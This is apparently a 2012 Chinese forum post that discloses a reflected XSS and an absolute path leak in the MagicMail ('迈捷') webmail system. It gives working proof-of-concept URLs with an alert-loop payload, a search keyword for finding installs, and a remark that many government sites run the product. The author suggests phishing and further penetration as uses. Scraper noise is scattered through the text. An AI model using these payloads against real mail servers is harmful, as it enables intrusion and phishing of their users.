今天上午在黑盒测试本地的教育网的时候发现的一个邮件系统漏洞# k8 G4 }9 e5 c0 s0 E
6 D+ x8 h, }1 M1 @
2 g/ v' d8 F2 w( c2 w' {( s包含 一个反射性XSS 以及 绝对路径泄漏4 E- n" o8 v: A) z# d
看了看 貌似全部是linux的。
+ E' S+ x% M% O; S' `) T; y
8 @) a7 k/ e+ `" B- z# [, D关键字：迈捷邮件系统 by MagicMail
, f5 {7 i+ b) B8 R" F( E0 m! j9 g$ @
; X: {+ O0 w0 b可以看到很多政府网站都用这个邮件系统
3 Y, x8 [5 w7 D, G: w) h) ^" }* m6 D) m4 B/ a/ r. V1 \/ k
绝对路径 http://madman.in/index.php?login_type=declare&language=/ {" X3 ?0 M" d+ x
z, v! h2 G& o1 j" f3 X; L0 R6 A6 Q$ @; X, w0 k: u
( [- [8 A9 q1 R+ Z0 DXSS：http://madman.in/index.php?login_type=declare&language=–%3E%27%22%3E%3Csvg%3E%3Cscript/xlink:href=data:,while%28true%29{alert%281%29}%3E%3C/script%3E \3 K+ a0 s# G: e
7 U2 N+ c/ L; r* @" k6 w0 l1 n
5 ]! u! ]2 l) w3 @/ ?
# P/ n3 M# n2 Z) F9 \虽然危害不是很大，不过利用起来还是可以的 比如 钓鱼 比如进一步的渗透 等等
- @4 \# u' J; r& |& z 2 Y1 Q8 D3 x5 L! E* O
修复方案：看官方补丁吧。
$ h# A+ p# B9 `! A& F6 y& l& g1 j0 n |
发表于 2012-11-9 20:38:41
收藏
支持
反对